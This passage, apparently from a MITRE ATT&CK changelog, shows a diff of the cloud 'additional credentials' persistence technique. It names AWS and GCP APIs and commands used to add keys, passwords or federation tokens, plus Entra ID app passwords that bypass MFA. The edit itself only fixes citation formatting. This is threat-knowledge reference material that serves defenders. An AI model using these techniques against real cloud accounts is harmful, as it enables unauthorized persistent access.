<code>CreateLoginProfile</code> API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \\n \\n-In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\\u2019s API credentials are deactivated.\\n-(Citation: Crowdstrike AWS User Federation Persistence)\\n+In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\\u2019s API credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence)\\n \\n In Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42-untangling) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)\"}}}",
                    "previous_version": "2.8",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to82__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to82__0\"><a href=\"#difflib_chg_to82__top\">t</a></td><td class=\"diff_header\" id=\"from82_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;add&nbsp;adversary-controlled&nbsp;credentials&nbsp;to&nbsp;a&nbsp;cl</td><td class=\"diff_next\"><a href=\"#difflib_chg_to82__top\">t</a></td><td class=\"diff_header\" id=\"to82_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;add&nbsp;adversary-controlled&nbsp;credentials&nbsp;to&nbsp;a&nbsp;cl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oud&nbsp;account&nbsp;to&nbsp;maintain&nbsp;persistent&nbsp;access&nbsp;to&nbsp;victim&nbsp;accounts</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oud&nbsp;account&nbsp;to&nbsp;maintain&nbsp;persistent&nbsp;access&nbsp;to&nbsp;victim&nbsp;accounts</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;instances&nbsp;within&nbsp;the&nbsp;environment.&nbsp;&nbsp;For&nbsp;example,&nbsp;adversa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;instances&nbsp;within&nbsp;the&nbsp;environment.&nbsp;&nbsp;For&nbsp;example,&nbsp;adversa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ries&nbsp;may&nbsp;add&nbsp;credentials&nbsp;for&nbsp;Service&nbsp;Principals&nbsp;and&nbsp;Applicat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ries&nbsp;may&nbsp;add&nbsp;credentials&nbsp;for&nbsp;Service&nbsp;Principals&nbsp;and&nbsp;Applicat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ions&nbsp;in&nbsp;addition&nbsp;to&nbsp;existing&nbsp;legitimate&nbsp;credentials&nbsp;in&nbsp;Azure</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ions&nbsp;in&nbsp;addition&nbsp;to&nbsp;existing&nbsp;legitimate&nbsp;credentials&nbsp;in&nbsp;Azure</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;/&nbsp;Entra&nbsp;ID.(Citation:&nbsp;Microsoft&nbsp;SolarWinds&nbsp;Customer&nbsp;Guidanc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;/&nbsp;Entra&nbsp;ID.(Citation:&nbsp;Microsoft&nbsp;SolarWinds&nbsp;Customer&nbsp;Guidanc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e)(Citation:&nbsp;Blue&nbsp;Cloud&nbsp;of&nbsp;Death)(Citation:&nbsp;Blue&nbsp;Cloud&nbsp;of&nbsp;De</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e)(Citation:&nbsp;Blue&nbsp;Cloud&nbsp;of&nbsp;Death)(Citation:&nbsp;Blue&nbsp;Cloud&nbsp;of&nbsp;De</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ath&nbsp;Video)&nbsp;These&nbsp;credentials&nbsp;include&nbsp;both&nbsp;x509&nbsp;keys&nbsp;and&nbsp;pass</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ath&nbsp;Video)&nbsp;These&nbsp;credentials&nbsp;include&nbsp;both&nbsp;x509&nbsp;keys&nbsp;and&nbsp;pass</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">words.(Citation:&nbsp;Microsoft&nbsp;SolarWinds&nbsp;Customer&nbsp;Guidance)&nbsp;Wit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">words.(Citation:&nbsp;Microsoft&nbsp;SolarWinds&nbsp;Customer&nbsp;Guidance)&nbsp;Wit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;sufficient&nbsp;permissions,&nbsp;there&nbsp;are&nbsp;a&nbsp;variety&nbsp;of&nbsp;ways&nbsp;to&nbsp;add</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;sufficient&nbsp;permissions,&nbsp;there&nbsp;are&nbsp;a&nbsp;variety&nbsp;of&nbsp;ways&nbsp;to&nbsp;add</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;credentials&nbsp;including&nbsp;the&nbsp;Azure&nbsp;Portal,&nbsp;Azure&nbsp;command&nbsp;line&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;credentials&nbsp;including&nbsp;the&nbsp;Azure&nbsp;Portal,&nbsp;Azure&nbsp;command&nbsp;line&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">interface,&nbsp;and&nbsp;Azure&nbsp;or&nbsp;Az&nbsp;PowerShell&nbsp;modules.(Citation:&nbsp;Dem</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">interface,&nbsp;and&nbsp;Azure&nbsp;or&nbsp;Az&nbsp;PowerShell&nbsp;modules.(Citation:&nbsp;Dem</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ystifying&nbsp;Azure&nbsp;AD&nbsp;Service&nbsp;Principals)&nbsp;&nbsp;In&nbsp;infrastructure-as</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ystifying&nbsp;Azure&nbsp;AD&nbsp;Service&nbsp;Principals)&nbsp;&nbsp;In&nbsp;infrastructure-as</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-a-service&nbsp;(IaaS)&nbsp;environments,&nbsp;after&nbsp;gaining&nbsp;access&nbsp;through</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-a-service&nbsp;(IaaS)&nbsp;environments,&nbsp;after&nbsp;gaining&nbsp;access&nbsp;through</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;[Cloud&nbsp;Accounts](https://attack.mitre.org/techniques/T1078/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;[Cloud&nbsp;Accounts](https://attack.mitre.org/techniques/T1078/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">004),&nbsp;adversaries&nbsp;may&nbsp;generate&nbsp;or&nbsp;import&nbsp;their&nbsp;own&nbsp;SSH&nbsp;keys&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">004),&nbsp;adversaries&nbsp;may&nbsp;generate&nbsp;or&nbsp;import&nbsp;their&nbsp;own&nbsp;SSH&nbsp;keys&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">using&nbsp;either&nbsp;the&nbsp;&lt;code&gt;CreateKeyPair&lt;/code&gt;&nbsp;or&nbsp;&lt;code&gt;ImportK</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">using&nbsp;either&nbsp;the&nbsp;&lt;code&gt;CreateKeyPair&lt;/code&gt;&nbsp;or&nbsp;&lt;code&gt;ImportK</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eyPair&lt;/code&gt;&nbsp;API&nbsp;in&nbsp;AWS&nbsp;or&nbsp;the&nbsp;&lt;code&gt;gcloud&nbsp;compute&nbsp;os-logi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eyPair&lt;/code&gt;&nbsp;API&nbsp;in&nbsp;AWS&nbsp;or&nbsp;the&nbsp;&lt;code&gt;gcloud&nbsp;compute&nbsp;os-logi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;ssh-keys&nbsp;add&lt;/code&gt;&nbsp;command&nbsp;in&nbsp;GCP.(Citation:&nbsp;GCP&nbsp;SSH&nbsp;Key&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;ssh-keys&nbsp;add&lt;/code&gt;&nbsp;command&nbsp;in&nbsp;GCP.(Citation:&nbsp;GCP&nbsp;SSH&nbsp;Key&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Add)&nbsp;This&nbsp;allows&nbsp;persistent&nbsp;access&nbsp;to&nbsp;instances&nbsp;within&nbsp;the&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Add)&nbsp;This&nbsp;allows&nbsp;persistent&nbsp;access&nbsp;to&nbsp;instances&nbsp;within&nbsp;the&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">loud&nbsp;environment&nbsp;without&nbsp;further&nbsp;usage&nbsp;of&nbsp;the&nbsp;compromised&nbsp;cl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">loud&nbsp;environment&nbsp;without&nbsp;further&nbsp;usage&nbsp;of&nbsp;the&nbsp;compromised&nbsp;cl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oud&nbsp;accounts.(Citation:&nbsp;Expel&nbsp;IO&nbsp;Evil&nbsp;in&nbsp;AWS)(Citation:&nbsp;Expe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oud&nbsp;accounts.(Citation:&nbsp;Expel&nbsp;IO&nbsp;Evil&nbsp;in&nbsp;AWS)(Citation:&nbsp;Expe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;Behind&nbsp;the&nbsp;Scenes)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;use&nbsp;the&nbsp;&lt;code&gt;Cre</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;Behind&nbsp;the&nbsp;Scenes)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;use&nbsp;the&nbsp;&lt;code&gt;Cre</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ateAccessKey&lt;/code&gt;&nbsp;API&nbsp;in&nbsp;AWS&nbsp;or&nbsp;the&nbsp;&lt;code&gt;gcloud&nbsp;iam&nbsp;servi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ateAccessKey&lt;/code&gt;&nbsp;API&nbsp;in&nbsp;AWS&nbsp;or&nbsp;the&nbsp;&lt;code&gt;gcloud&nbsp;iam&nbsp;servi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce-accounts&nbsp;keys&nbsp;create&lt;/code&gt;&nbsp;command&nbsp;in&nbsp;GCP&nbsp;to&nbsp;add&nbsp;access&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce-accounts&nbsp;keys&nbsp;create&lt;/code&gt;&nbsp;command&nbsp;in&nbsp;GCP&nbsp;to&nbsp;add&nbsp;access&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">keys&nbsp;to&nbsp;an&nbsp;account.&nbsp;Alternatively,&nbsp;they&nbsp;may&nbsp;use&nbsp;the&nbsp;&lt;code&gt;Cr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">keys&nbsp;to&nbsp;an&nbsp;account.&nbsp;Alternatively,&nbsp;they&nbsp;may&nbsp;use&nbsp;the&nbsp;&lt;code&gt;Cr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eateLoginProfile&lt;/code&gt;&nbsp;API&nbsp;in&nbsp;AWS&nbsp;to&nbsp;add&nbsp;a&nbsp;password&nbsp;that&nbsp;ca</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eateLoginProfile&lt;/code&gt;&nbsp;API&nbsp;in&nbsp;AWS&nbsp;to&nbsp;add&nbsp;a&nbsp;password&nbsp;that&nbsp;ca</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;be&nbsp;used&nbsp;to&nbsp;log&nbsp;into&nbsp;the&nbsp;AWS&nbsp;Management&nbsp;Console&nbsp;for&nbsp;[Cloud&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;be&nbsp;used&nbsp;to&nbsp;log&nbsp;into&nbsp;the&nbsp;AWS&nbsp;Management&nbsp;Console&nbsp;for&nbsp;[Cloud&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Service&nbsp;Dashboard](https://attack.mitre.org/techniques/T1538</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Service&nbsp;Dashboard](https://attack.mitre.org/techniques/T1538</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">).(Citation:&nbsp;Permiso&nbsp;Scattered&nbsp;Spider&nbsp;2023)(Citation:&nbsp;Lacewo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">).(Citation:&nbsp;Permiso&nbsp;Scattered&nbsp;Spider&nbsp;2023)(Citation:&nbsp;Lacewo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rk&nbsp;AI&nbsp;Resource&nbsp;Hijacking&nbsp;2024)&nbsp;If&nbsp;the&nbsp;target&nbsp;account&nbsp;has&nbsp;dif</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rk&nbsp;AI&nbsp;Resource&nbsp;Hijacking&nbsp;2024)&nbsp;If&nbsp;the&nbsp;target&nbsp;account&nbsp;has&nbsp;dif</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ferent&nbsp;permissions&nbsp;from&nbsp;the&nbsp;requesting&nbsp;account,&nbsp;the&nbsp;adversar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ferent&nbsp;permissions&nbsp;from&nbsp;the&nbsp;requesting&nbsp;account,&nbsp;the&nbsp;adversar</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;may&nbsp;also&nbsp;be&nbsp;able&nbsp;to&nbsp;escalate&nbsp;their&nbsp;privileges&nbsp;in&nbsp;the&nbsp;envir</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;may&nbsp;also&nbsp;be&nbsp;able&nbsp;to&nbsp;escalate&nbsp;their&nbsp;privileges&nbsp;in&nbsp;the&nbsp;envir</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onment&nbsp;(i.e.&nbsp;[Cloud&nbsp;Accounts](https://attack.mitre.org/techn</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onment&nbsp;(i.e.&nbsp;[Cloud&nbsp;Accounts](https://attack.mitre.org/techn</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iques/T1078/004)).(Citation:&nbsp;Rhino&nbsp;Security&nbsp;Labs&nbsp;AWS&nbsp;Privile</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iques/T1078/004)).(Citation:&nbsp;Rhino&nbsp;Security&nbsp;Labs&nbsp;AWS&nbsp;Privile</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ge&nbsp;Escalation)(Citation:&nbsp;Sysdig&nbsp;ScarletEel&nbsp;2.0)&nbsp;For&nbsp;example,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ge&nbsp;Escalation)(Citation:&nbsp;Sysdig&nbsp;ScarletEel&nbsp;2.0)&nbsp;For&nbsp;example,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;in&nbsp;Entra&nbsp;ID&nbsp;environments,&nbsp;an&nbsp;adversary&nbsp;with&nbsp;the&nbsp;Application</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;in&nbsp;Entra&nbsp;ID&nbsp;environments,&nbsp;an&nbsp;adversary&nbsp;with&nbsp;the&nbsp;Application</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Administrator&nbsp;role&nbsp;can&nbsp;add&nbsp;a&nbsp;new&nbsp;set&nbsp;of&nbsp;credentials&nbsp;to&nbsp;thei</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Administrator&nbsp;role&nbsp;can&nbsp;add&nbsp;a&nbsp;new&nbsp;set&nbsp;of&nbsp;credentials&nbsp;to&nbsp;thei</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;application's&nbsp;service&nbsp;principal.&nbsp;In&nbsp;doing&nbsp;so&nbsp;the&nbsp;adversary</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;application's&nbsp;service&nbsp;principal.&nbsp;In&nbsp;doing&nbsp;so&nbsp;the&nbsp;adversary</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;would&nbsp;be&nbsp;able&nbsp;to&nbsp;access&nbsp;the&nbsp;service&nbsp;principal\u2019s&nbsp;roles&nbsp;and&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;would&nbsp;be&nbsp;able&nbsp;to&nbsp;access&nbsp;the&nbsp;service&nbsp;principal\u2019s&nbsp;roles&nbsp;and&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ermissions,&nbsp;which&nbsp;may&nbsp;be&nbsp;different&nbsp;from&nbsp;those&nbsp;of&nbsp;the&nbsp;Applica</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ermissions,&nbsp;which&nbsp;may&nbsp;be&nbsp;different&nbsp;from&nbsp;those&nbsp;of&nbsp;the&nbsp;Applica</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;Administrator.(Citation:&nbsp;SpecterOps&nbsp;Azure&nbsp;Privilege&nbsp;Esc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;Administrator.(Citation:&nbsp;SpecterOps&nbsp;Azure&nbsp;Privilege&nbsp;Esc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alation)&nbsp;&nbsp;&nbsp;In&nbsp;AWS&nbsp;environments,&nbsp;adversaries&nbsp;with&nbsp;the&nbsp;appropr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alation)&nbsp;&nbsp;&nbsp;In&nbsp;AWS&nbsp;environments,&nbsp;adversaries&nbsp;with&nbsp;the&nbsp;appropr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iate&nbsp;permissions&nbsp;may&nbsp;also&nbsp;use&nbsp;the&nbsp;`sts:GetFederationToken`&nbsp;A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iate&nbsp;permissions&nbsp;may&nbsp;also&nbsp;use&nbsp;the&nbsp;`sts:GetFederationToken`&nbsp;A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">PI&nbsp;call&nbsp;to&nbsp;create&nbsp;a&nbsp;temporary&nbsp;set&nbsp;of&nbsp;credentials&nbsp;to&nbsp;[Forge&nbsp;W</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">PI&nbsp;call&nbsp;to&nbsp;create&nbsp;a&nbsp;temporary&nbsp;set&nbsp;of&nbsp;credentials&nbsp;to&nbsp;[Forge&nbsp;W</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eb&nbsp;Credentials](https://attack.mitre.org/techniques/T1606)&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eb&nbsp;Credentials](https://attack.mitre.org/techniques/T1606)&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ied&nbsp;to&nbsp;the&nbsp;permissions&nbsp;of&nbsp;the&nbsp;original&nbsp;user&nbsp;account.&nbsp;These&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ied&nbsp;to&nbsp;the&nbsp;permissions&nbsp;of&nbsp;the&nbsp;original&nbsp;user&nbsp;account.&nbsp;These&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">emporary&nbsp;credentials&nbsp;may&nbsp;remain&nbsp;valid&nbsp;for&nbsp;the&nbsp;duration&nbsp;of&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">emporary&nbsp;credentials&nbsp;may&nbsp;remain&nbsp;valid&nbsp;for&nbsp;the&nbsp;duration&nbsp;of&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eir&nbsp;lifetime&nbsp;even&nbsp;if&nbsp;the&nbsp;original&nbsp;account\u2019s&nbsp;API&nbsp;credentials&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eir&nbsp;lifetime&nbsp;even&nbsp;if&nbsp;the&nbsp;original&nbsp;account\u2019s&nbsp;API&nbsp;credentials&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are&nbsp;deactivated<span class=\"diff_sub\">.&nbsp;(Citation:&nbsp;Crowdstrike&nbsp;AWS&nbsp;User&nbsp;Federation&nbsp;</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are&nbsp;deactivated.(Citation:&nbsp;<span class=\"diff_add\">Crowdstrike&nbsp;AWS&nbsp;User&nbsp;Federation&nbsp;P</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">Persistence)&nbsp;&nbsp;In&nbsp;Entra&nbsp;ID&nbsp;environments&nbsp;with&nbsp;the&nbsp;app&nbsp;password</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">ersistence)&nbsp;&nbsp;In&nbsp;Entra&nbsp;ID&nbsp;environments&nbsp;with&nbsp;the&nbsp;app&nbsp;password&nbsp;</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">&nbsp;feature&nbsp;enabled,&nbsp;adversaries&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;add&nbsp;an&nbsp;app&nbsp;pass</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">feature&nbsp;enabled,&nbsp;adversaries&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;add&nbsp;an&nbsp;app&nbsp;passw</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">word&nbsp;to&nbsp;a&nbsp;user&nbsp;account</span>.(Citation:&nbsp;Mandiant&nbsp;APT42-untangling)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">ord&nbsp;to&nbsp;a&nbsp;user&nbsp;account.(Citation:&nbsp;</span>Mandiant&nbsp;APT42-untangling)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;As&nbsp;app&nbsp;passwords&nbsp;are&nbsp;intended&nbsp;to&nbsp;be&nbsp;used&nbsp;with&nbsp;legacy&nbsp;device</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">As&nbsp;app&nbsp;passwords&nbsp;are&nbsp;intended&nbsp;to&nbsp;be&nbsp;used&nbsp;with&nbsp;legacy&nbsp;devices</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;that&nbsp;do&nbsp;not&nbsp;support&nbsp;multi-factor&nbsp;authentication&nbsp;(MFA),&nbsp;add</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;that&nbsp;do&nbsp;not&nbsp;support&nbsp;multi-factor&nbsp;authentication&nbsp;(MFA),&nbsp;addi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;an&nbsp;app&nbsp;password&nbsp;can&nbsp;allow&nbsp;an&nbsp;adversary&nbsp;to&nbsp;bypass&nbsp;MFA&nbsp;req</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;an&nbsp;app&nbsp;password&nbsp;can&nbsp;allow&nbsp;an&nbsp;adversary&nbsp;to&nbsp;bypass&nbsp;MFA&nbsp;requ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uirements.&nbsp;Additionally,&nbsp;app&nbsp;passwords&nbsp;may&nbsp;remain&nbsp;valid&nbsp;even</td><td class=\"diff_next\"></td><td 